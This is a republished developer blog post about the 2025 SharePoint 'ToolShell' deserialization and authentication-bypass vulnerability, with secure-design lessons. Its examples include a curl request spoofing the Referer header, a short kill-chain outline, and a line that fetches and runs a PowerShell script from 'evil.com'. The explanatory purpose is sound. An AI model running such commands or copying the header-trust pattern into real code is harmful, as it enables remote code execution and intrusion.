This content originally appeared on DEV Community and was authored by
What a deserialization bug, a missing trust boundary, and some ancient .NET code can teach us about secure system design.

☢️ Wait, what?
In one of the most “you can’t make this up” security stories of the year, in July 2025, a vulnerability in Microsoft SharePoint, yes, SharePoint, led to unauthorized access to none other than the U.S. nuclear security agency’s internal systems. The same agency responsible for safeguarding America’s nuclear arsenal.
This exploit turned into a mass-hit campaign affecting over 400 organizations globally, including notable agencies such as
- U.S. Department of Homeland Security (DHS)
- The National Institutes of Health (NIH)
- Fermilab (U.S. national lab)
- Interpol
- European Banking Authority
- Multiple Department of Energy offices worldwide
(source: The Guardian)
How? A bug so absurd it almost sounds like a Black Mirror episode written by a junior pentester on caffeine:
- An authentication bypass that trusted the wrong HTTP header
- A deserialization flaw that let attackers inject shell code through an Excel component
- And the kind of brittle architecture that makes you want to hug your Linux box and never look back
No zero-days. No elite memory corruption wizardry. Just a sloppy trust boundary and a CMS older than most interns.
This wasn’t just bad luck. It was an architectural failure, the kind developers accidentally ship every day when no one stops and asks:
“What if this function is exposed to the wrong user?”
“Should this object really be serializable?”
“What happens if someone fakes this header?”
Spoiler: they did. And it worked.
What you’ll get from this article
This isn’t just a story about SharePoint being SharePoint. It’s a wake-up call for devs building modern web apps, enterprise software, and internal tooling. Here’s what is getting unpacking:
- A dev-friendly autopsy of the ToolShell exploit chain (complete with curl and payload breakdown)
- An explanation of the deserialization bug ranked CVSS 9.8 that fueled the exploit
- How broken trust boundaries and .NET design flaws made it easy
- Essential lessons on what not to build (no, really you might be shipping the same patterns)
- Real-world security fixes: patching, log monitoring, and crypt key rotation guidance from Microsoft and CISA
(based on information provided by: PaloAltoNetworks and Microsoft)
Let’s break it down, because if this can happen to the people who manage nuclear warheads, it can definitely happen to your startup’s admin dashboard.
Next up: how the exploit worked and why it’s so absurdly simple it hurts.
1. The exploit that required no login (because “Referer” logic was a lie)
Okay, let’s unpack the exploit chain that let attackers stroll into government systems without even logging in all thanks to some sketchy deserialization logic and a misplaced trust in HTTP headers.
1.1. Vulnerability: CVE-2025–53770
Severity: 9.8/10
Attack Vector: Unauthenticated Remote Code Execution (RCE)
Target: Microsoft SharePoint (end-of-life versions still running on sensitive systems, yikes)
Imagine this:
You’re hosting a SharePoint server. It’s running an outdated build because “we’ll upgrade next sprint.”
Now a malicious actor sends a crafted HTTP POST request to a SharePoint endpoint one that was supposed to be restricted to internal use only. The devs who built this back in the day figured:
“Let’s check the
Referer
header. If it says ‘localhost’ or matches our domain, we’re good.”
Reader, we were not good.
What went wrong
a. No Auth Required:
The vulnerable endpoint didn’t enforce authentication. It trusted the HTTP Referer
header to determine if the request was internal.
b. Referer Spoofing:
HTTP headers are client-controlled. Meaning any curl monkey (or attacker) could spoof:
curl -X POST https://sharepoint.example.gov/ToolShellInvoke <br> -H "Referer: http://localhost" <br> -d @payload.xml
c. Deserialization Mayhem:
That POST request contained a base64-encoded serialized .NET
object. When deserialized, it executed arbitrary PowerShell via ToolShell a legacy remote administration feature meant for internal use only.
d. Boom: RCE
Result: Shell access. As SYSTEM. On a machine connected to critical networks.
1.2. The full kill chain (simplified for dev brains)
pgsql
1. Locate exposed SharePoint instance (many EOL versions still on public IPs 😬)
2. Craft malicious payload with base64 .NET object
3. Set Referer to bypass internal check
4. POST it to the ToolShell endpoint
5. Remote code runs with SYSTEM privileges
6. Use it to pivot inside the network
7. Repeat.
You know those “only accessible internally” features you leave in staging?
Yeah. Imagine that, but in prod. In government. On the internet.
1.3. Developer takeaway: Never trust headers you don’t control.
Relying on Referer
or Origin
for authentication is like putting a sticky note on your door that says “Please don’t open if you’re a bad guy.”
You need actual identity: session tokens, mTLS, firewall rules, or — bare minimum — authentication headers with integrity checks.
Scary thought
You could write this same vulnerability today in your own custom admin tool:
if (req.headers['referer']?.includes('mycompany.local')) {
runSensitiveJob()
}
Don’t laugh. We’ve all done a quick hack like this at some point.
TL;DR
- SharePoint exposed an RCE endpoint publicly.
- The only check? A spoofable header.
- Attackers used deserialization to pop shells.
- It affected government nuclear systems in 2025.
- This isn’t just a SharePoint thing. It’s a dev architecture thing.

2. Deserialization: The ghost in the runtime
Let’s be honest: serialization was supposed to make our lives easier.
“Just turn this object into a blob and ship it over the wire. What could go wrong?”
Everything, apparently.
Especially when you’re deserializing user input like it’s coming from your mom.
2.1. What even is deserialization?
For the non-CS majors in the back:
Serialization: turning objects into a storable/transferable format (e.g., JSON, XML, binary, base64).
Deserialization: the reverse, rebuilding objects from that format.
Sounds harmless. Until you remember that code can run during deserialization if you’re not careful.
Yes, even before you do anything with the data.
2.2. Why deserialization is dangerous (still, in 2025)
Imagine receiving an object that says:
new ProcessStartInfo("powershell.exe", "curl evil.com/shell.ps1 | iex")
If your deserialization framework doesn’t sandbox input or restrict object types, it might rebuild and execute that constructor.
That’s how we get remote code execution (RCE).
Just from parsing a string.
2.3. Languages where this happens (frequently)
- Java: Apache Commons Collections is the eternal haunted house
- .NET: BinaryFormatter and friends — a.k.a. “why you have nightmares”
-
Python:
pickle
is evil, don’t touch it unless you like surprises -
PHP:
unserialize()
is literally a trapdoor if you don’t whitelist classes -
JavaScript/Node: Less common, but still scary with things like
eval(JSON.stringify(input))
(don’t.)
2.4. How this keeps happening
Because devs:
- Assume the data is “internal only”
- Don’t lock down which classes can be rehydrated
- Use legacy features like
BinaryFormatter
or Java serialization - Treat base64 blobs like they’re “safe” (spoiler: they’re just obfuscated attack scripts)
2.5. The SharePoint case: a perfect storm
- Public endpoint exposed
- No authentication
- Deserialization of arbitrary .NET objects
- ToolShell capable of executing PowerShell
- No input validation, no type filtering
It’s like giving strangers your house keys because they said they live nearby.
2.6. Developer takeaway: Sanitize or die trying
Here’s how to avoid being the next headline:
- Don’t deserialize untrusted input. Seriously.
- If you must, use safe formats (JSON with strict schema validation)
- Avoid
BinaryFormatter
(Microsoft literally deprecated it — twice) - Whitelist types/classes if your language supports it
- Monitor for abnormal deserialization behavior (e.g., weird object graphs)
TL;DR
Deserialization is like a haunted function call.
It runs before you know it’s there.
And in the SharePoint case, it ran PowerShell… inside U.S. nuclear infrastructure.
3. It’s internal, so it’s fine.” Famous last words in devsec.
Let’s play a game.
You: “It’s an internal tool. Nobody from the outside can access it.”
Reality: It’s on the same network as a 15-year-old printer running default creds and open SMB ports.
Welcome to enterprise infrastructure, where “internal-only” is a lie we all tell ourselves so we can sleep at night.
3.1. The root of the problem: trust assumptions
Dev teams (especially in large orgs) often assume:
Internal = secure
VPN = protection
“Nobody will ever see this port, it’s behind a firewall.”
Cool story. Until someone phishes a contractor. Or the firewall rule gets relaxed “just for testing.” Or plot twist the tool is accidentally exposed via a misconfigured reverse proxy.
You don’t need a Hollywood hacker. You just need someone to click the wrong Okta prompt.
3.2. In the SharePoint case…
This deserialization vulnerability wasn’t sitting behind five layers of zero-trust security.
It was:
Publicly reachable
Unauthenticated
Capable of executing code remotely
All because someone assumed:
“Eh, it’s an internal admin tool. It won’t be exposed.”
Oops.
3.3. Real-life dev parallels
If you’ve ever:
- Left
/admin
routes wide open on staging - Deployed a test S3 bucket with “public-read”
- Hardcoded internal URLs assuming “nobody else will see this”
- Skipped auth middleware because “we’ll add it later.”
Congratulations. You, too, have bet the company on hope.
3.4. What devs should actually do
- Internal != safe, treat every endpoint like it’s public
- Use strict RBAC, if you can’t explain who can access what in under 30 seconds, it’s a mess
- Don’t skip auth on staging, attackers love “non-prod” because it is prod in disguise
- Audit everything exposed to the internet, especially old tools no one maintains
- Add context to your CI/CD, deploying an app with a dangerous port should scream in your pipeline
TL;DR
“Internal-only” is the adult version of “the monster can’t get me if I close my eyes.”
The SharePoint exploit wasn’t some advanced 0-day. It was a case of over-trusting internal access, under-validating input, and forgetting that every tool is prod if it can run code.
Press enter or click to view image in full size
4. What this means for dev architecture (and why you should audit your stack today)
Let’s get one thing straight: this wasn’t just a SharePoint screw-up.
This was a stack failure.
An architectural decision made years ago “let’s allow compressed .NET objects to be deserialized dynamically at runtime… inside an editable dashboard… behind assumed auth” turned into a backdoor for one of the most sensitive systems on Earth.
Welcome to legacy tech meets modern exploits.
4.1. The real issue: Fragile, patchwork architecture
SharePoint (like many legacy enterprise systems) is built like a Jenga tower:
- Layers upon layers of features
- Assumptions baked into the foundation
- Zero concept of modern threat models
And then someone decides to expose that stack to the internet, duct tape it into your org’s SSO, and call it “collaboration.”
4.2. Deserialization + Auth Bypass = Architect’s Nightmare
Let’s break it down like a dev would:
- Deserialization flaws = letting strangers hand you precompiled code blobs and saying “Sure, I’ll run that.”
-
Auth bypass = thinking
Referer: signin.aspx
means someone is legit. - Combination = full RCE without creds. No buffer overflows. Just… bad planning.
If you’re designing internal tools, dashboards, or admin panels this is your wake-up call.
4.3. Modern architecture = assumptions under audit
Here’s what devs (yes, you) can take away from this:
a. Kill trust-based logic
Don’t infer trust based on headers, URLs, or “where the request came from.” That’s like saying, “He knocked, so he must be a friend.”
b. Separate presentation and execution layers
Don’t let the same endpoint both edit UI elements and execute data deserialization. Just… no.
c. Think like a malicious actor
What would you do if you had access to this route with no auth? Or could modify its payload?
d. Add architectural friction on dangerous paths
Make it harder to shoot yourself in the foot. Seriously your future self will thank you.
4.4. Architecture isn’t just about scaling
Most devs think “architecture” means:
- Load balancing
- Microservices vs monolith
- Horizontal scaling
Cool. But architecture is also:
- How trust is granted (and revoked)
- What layers get privileged data
- Who can write to what, and how fast it’s validated
Good architecture prevents entire organizations from getting pwned via a SharePoint scorecard widget.
TL;DR
When you design systems that assume good behavior inside “internal” walls, you’re not doing architecture; you’re doing optimism as code.
The SharePoint hack was a failure of judgment, not just a bug. And if your internal tools rely on the same assumptions? You’re next.
5. What devs can do today to avoid building the next disaster
Let’s be real. Most of us aren’t building software that protects nuclear secrets.
But we are building dashboards, internal tools, admin panels, exposed APIs, webhook handlers, and third-party integrations, all of which, when poorly designed, can go full SharePoint with just one bad assumption.
So here’s your DevOps-flavored checklist before you architect yourself into a future incident response meeting.
5.1. Assume compromise. Always.
If your internal route can be accessed with a forged cookie or unvalidated input it will be. Eventually.
- No more “oh this endpoint is only for admins.”
- No more “the front-end never sends this wrong.”
Lock. Everything. Down.
And never trust input you didn’t explicitly ask for.
5.2. Never deserialize unsanitized user input
Ever.
If you’re doing anything like:
var obj = (MyClass)JsonConvert.DeserializeObject(dataFromClient);
…go pour yourself a whiskey, because that’s an exploit waiting to happen.
Use:
- strict schemas (Zod, Yup, Joi)
- input whitelists
- safe parsers (never
.eval()
anything, even if it's "just a config")
5.3. Add a “Paranoia Pass” to your code reviews
Before you merge that next PR, ask:
- What if this was exposed to the public?
- What if this had no auth?
- Can this data be tampered with?
- Could this route lead to remote execution?
Treat it like threat modeling, minus the consultants and the 80-slide deck.
5.4. Audit your “assumed-safe” zones
Every app has dark corners:
- Legacy admin routes
- Feature-flagged endpoints
- Obscure serialization logic
Make a list. Run a pentest. Or just grep your codebase for deserialize
, eval
, or dynamic
.
What’s hidden is what gets exploited.
5.5. Use modern infra that actually cares about security
Stop bolting zero-trust onto 2005 tech.
Start building with:
- Edge-auth tools like Clerk or Auth0 with session validation baked in
- Runtime isolation like Vercel Functions, Cloudflare Workers, or Deno Deploy
- Config as code for roles, auth, access policies
- Logging by default, not “when we need it”
TL;DR (but actually for devs)
- Don’t deserialize anything you didn’t pack yourself.
- Don’t assume internal = safe.
- Don’t trust headers, forms, cookies, or JSON unless you validated it like you were expecting an attack.
- Don’t let SharePoint become your spirit animal.
One more thing…
If you’ve built a backend dashboard, internal tool, or admin app in the last year revisit it right now.
Not later. Not after lunch. Now.
You might be one widget away from becoming a national security headline.
Final thought: Don’t ship the next SharePoint
You don’t need a top-secret clearance to build secure software.
You just need to think like someone who’ll be blamed when it all goes sideways.
Because here’s the real kicker:
The SharePoint exploit wasn’t some zero-day dropped by a nation-state hacker in a hoodie.
It was bad architecture, lazy deserialization, and trusting the wrong input, mistakes devs make every day.
But you don’t have to.
You can build systems that are harder to break, smarter to maintain, and safer by design not by accident.
So the next time you’re tempted to say:
“It’s just a quick internal tool.”
Remember that’s probably what the original SharePoint dev said too.
Built something more secure and more elegant, or learned the hard way?
Drop it in the comments.
Share your horror story.
Roast bad code.
Or just tag a dev who still trusts deserialize()
.
Because the best time to fix your architecture was yesterday.
The second-best time?
Before it ends up in the news.

This content originally appeared on DEV Community and was authored by

| Sciencx (2025-08-28T20:25:42+00:00) The SharePoint exploit that breached U.S. Nuke Systems (and why devs should care). Retrieved from https://www.scien.cx/2025/08/28/the-sharepoint-exploit-that-breached-u-s-nuke-systems-and-why-devs-should-care/
Please log in to upload a file.
There are no updates yet.
Click the Upload button above to add an update.